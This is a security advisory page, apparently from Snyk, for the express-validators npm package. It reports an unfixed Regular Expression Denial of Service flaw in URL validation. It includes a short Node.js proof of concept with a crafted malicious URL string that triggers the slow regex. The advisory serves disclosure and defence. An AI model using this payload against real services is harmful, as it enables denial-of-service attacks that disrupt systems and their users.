express-validators@1.0.1 vulnerabilities

Express framework json object(req) validator.

Direct Vulnerabilities

Known vulnerabilities in the express-validators package. This does not include vulnerabilities belonging to this package’s dependencies.

Fix vulnerabilities automatically

Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

Fix for free
VulnerabilityVulnerable Version
  • M
Regular Expression Denial of Service (ReDoS)

express-validators is an Express framework json object(req) validator.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when validating specifically-crafted invalid urls.

POC:

var expressValidators = require("express-validators");
var Obj = {
    urlValue: "http://--:$$@------------------------------------------------------------------------------------------------------------------------!",
};

var rules = {
    "urlValue": "url",
};

var messages = {
    urlValue:{
        url: "Please enter a valid url address."
    }
};

expressValidators.validator(Obj, rules, messages, function (err, validated) {
    if (validated.fails) {
        console.log(validated.getErrors)
    }
})

How to fix Regular Expression Denial of Service (ReDoS)?

There is no fixed version for express-validators.

*